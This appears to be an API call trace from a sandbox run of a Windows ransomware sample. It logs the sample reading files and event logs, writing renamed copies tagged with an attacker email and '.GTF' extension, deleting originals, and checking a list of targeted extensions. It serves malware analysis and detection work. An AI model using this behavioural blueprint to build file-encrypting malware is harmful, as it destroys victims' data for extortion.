	[0075.532] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0075.532] SetEndOfFile (hFile=0x38c) returned 1
	[0075.533] CloseHandle (hObject=0x38c) returned 1
	[0075.534] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.534] SetEndOfFile (hFile=0x388) returned 1
	[0075.534] CloseHandle (hObject=0x388) returned 1
	[0075.535] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0075.535] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1
	[0075.535] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.535] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.535] lstrlenW (lpString=".doc") returned 4
	[0075.535] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0075.535] lstrlenW (lpString=".docx") returned 5
	[0075.535] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0075.535] lstrlenW (lpString=".pdf") returned 4
	[0075.535] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0075.535] lstrlenW (lpString=".xls") returned 4
	[0075.535] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0075.535] lstrlenW (lpString=".xlsx") returned 5
	[0075.535] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0075.535] lstrlenW (lpString=".ppt") returned 4
	[0075.535] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".zip") returned 4
	[0075.536] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".rar") returned 4
	[0075.536] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".bz2") returned 4
	[0075.536] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".7z") returned 3
	[0075.536] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".dbf") returned 4
	[0075.536] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".1cd") returned 4
	[0075.536] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".jpg") returned 4
	[0075.536] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".doc") returned 4
	[0075.536] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".docx") returned 5
	[0075.536] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0075.536] lstrlenW (lpString=".pdf") returned 4
	[0075.536] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".xls") returned 4
	[0075.536] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".xlsx") returned 5
	[0075.536] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0075.536] lstrlenW (lpString=".ppt") returned 4
	[0075.536] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.536] lstrlenW (lpString=".zip") returned 4
	[0075.536] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0075.536] lstrlenW (lpString=".rar") returned 4
	[0075.537] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0075.537] lstrlenW (lpString=".bz2") returned 4
	[0075.537] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0075.537] lstrlenW (lpString=".7z") returned 3
	[0075.537] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0075.537] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.537] lstrlenW (lpString=".dbf") returned 4
	[0075.537] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0075.537] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.537] lstrlenW (lpString=".1cd") returned 4
	[0075.537] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0075.537] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0075.537] lstrlenW (lpString=".jpg") returned 4
	[0075.537] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0075.537] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0075.537] lstrlenW (lpString="HardwareEvents.evtx") returned 19
	[0075.537] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.538] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0075.538] CloseHandle (hObject=0x388) returned 1
	[0075.538] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0075.538] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.538] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.538] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.538] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.538] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.539] GetLastError () returned 0x0
	[0075.539] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.541] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.543] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.543] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0075.543] SetEndOfFile (hFile=0x38c) returned 1
	[0075.543] CloseHandle (hObject=0x38c) returned 1
	[0075.545] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.545] SetEndOfFile (hFile=0x388) returned 1
	[0075.547] CloseHandle (hObject=0x388) returned 1
	[0075.547] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0075.547] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1
	[0075.547] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.547] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.547] lstrlenW (lpString=".doc") returned 4
	[0075.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.547] lstrlenW (lpString=".docx") returned 5
	[0075.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.547] lstrlenW (lpString=".pdf") returned 4
	[0075.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.547] lstrlenW (lpString=".xls") returned 4
	[0075.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.547] lstrlenW (lpString=".xlsx") returned 5
	[0075.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.547] lstrlenW (lpString=".ppt") returned 4
	[0075.548] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".zip") returned 4
	[0075.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".rar") returned 4
	[0075.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".bz2") returned 4
	[0075.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".7z") returned 3
	[0075.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".dbf") returned 4
	[0075.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".1cd") returned 4
	[0075.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".jpg") returned 4
	[0075.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".doc") returned 4
	[0075.548] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".docx") returned 5
	[0075.548] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.548] lstrlenW (lpString=".pdf") returned 4
	[0075.548] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".xls") returned 4
	[0075.548] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString=".xlsx") returned 5
	[0075.548] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.548] lstrlenW (lpString=".ppt") returned 4
	[0075.548] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.548] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.548] lstrlenW (lpString=".zip") returned 4
	[0075.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.549] lstrlenW (lpString=".rar") returned 4
	[0075.549] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.549] lstrlenW (lpString=".bz2") returned 4
	[0075.549] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.549] lstrlenW (lpString=".7z") returned 3
	[0075.549] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.549] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.549] lstrlenW (lpString=".dbf") returned 4
	[0075.549] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.549] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.549] lstrlenW (lpString=".1cd") returned 4
	[0075.549] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.549] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0075.549] lstrlenW (lpString=".jpg") returned 4
	[0075.549] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.549] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0075.549] lstrlenW (lpString="Internet Explorer.evtx") returned 22
	[0075.549] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.549] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0075.549] CloseHandle (hObject=0x388) returned 1
	[0075.549] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0075.549] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.550] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.550] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.550] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.550] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.550] GetLastError () returned 0x0
	[0075.550] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.553] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.555] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.555] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x100, lpOverlapped=0x0) returned 1
	[0075.555] SetEndOfFile (hFile=0x38c) returned 1
	[0075.555] CloseHandle (hObject=0x38c) returned 1
	[0075.558] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.558] SetEndOfFile (hFile=0x388) returned 1
	[0075.559] CloseHandle (hObject=0x388) returned 1
	[0075.559] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0075.560] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1
	[0075.560] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.560] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.560] lstrlenW (lpString=".doc") returned 4
	[0075.560] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".docx") returned 5
	[0075.560] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.560] lstrlenW (lpString=".pdf") returned 4
	[0075.560] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".xls") returned 4
	[0075.560] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".xlsx") returned 5
	[0075.560] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.560] lstrlenW (lpString=".ppt") returned 4
	[0075.560] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.560] lstrlenW (lpString=".zip") returned 4
	[0075.560] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".rar") returned 4
	[0075.560] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".bz2") returned 4
	[0075.560] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.560] lstrlenW (lpString=".7z") returned 3
	[0075.560] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.560] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.560] lstrlenW (lpString=".dbf") returned 4
	[0075.560] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".1cd") returned 4
	[0075.561] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".jpg") returned 4
	[0075.561] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".doc") returned 4
	[0075.561] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".docx") returned 5
	[0075.561] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.561] lstrlenW (lpString=".pdf") returned 4
	[0075.561] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".xls") returned 4
	[0075.561] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".xlsx") returned 5
	[0075.561] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.561] lstrlenW (lpString=".ppt") returned 4
	[0075.561] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".zip") returned 4
	[0075.561] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".rar") returned 4
	[0075.561] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".bz2") returned 4
	[0075.561] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString=".7z") returned 3
	[0075.561] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".dbf") returned 4
	[0075.561] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".1cd") returned 4
	[0075.561] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.561] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0075.561] lstrlenW (lpString=".jpg") returned 4
	[0075.562] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.562] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0075.562] lstrlenW (lpString="Key Management Service.evtx") returned 27
	[0075.562] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.562] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0075.562] CloseHandle (hObject=0x388) returned 1
	[0075.562] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0075.562] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.562] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.562] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.562] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.562] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.403] GetLastError () returned 0x0
	[0076.403] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.406] WriteFile (in: hFile=0x374, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.408] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.408] WriteFile (in: hFile=0x374, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0076.408] SetEndOfFile (hFile=0x374) returned 1
	[0076.408] CloseHandle (hObject=0x374) returned 1
	[0076.411] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.411] SetEndOfFile (hFile=0x388) returned 1
	[0076.412] CloseHandle (hObject=0x388) returned 1
	[0076.412] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.412] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1
	[0076.413] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.413] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.413] lstrlenW (lpString=".doc") returned 4
	[0076.413] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".docx") returned 5
	[0076.413] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.413] lstrlenW (lpString=".pdf") returned 4
	[0076.413] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".xls") returned 4
	[0076.413] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".xlsx") returned 5
	[0076.413] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.413] lstrlenW (lpString=".ppt") returned 4
	[0076.413] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.413] lstrlenW (lpString=".zip") returned 4
	[0076.413] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".rar") returned 4
	[0076.413] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".bz2") returned 4
	[0076.413] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.413] lstrlenW (lpString=".7z") returned 3
	[0076.413] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.413] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.413] lstrlenW (lpString=".dbf") returned 4
	[0076.414] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".1cd") returned 4
	[0076.414] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".jpg") returned 4
	[0076.414] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".doc") returned 4
	[0076.414] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".docx") returned 5
	[0076.414] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.414] lstrlenW (lpString=".pdf") returned 4
	[0076.414] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".xls") returned 4
	[0076.414] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".xlsx") returned 5
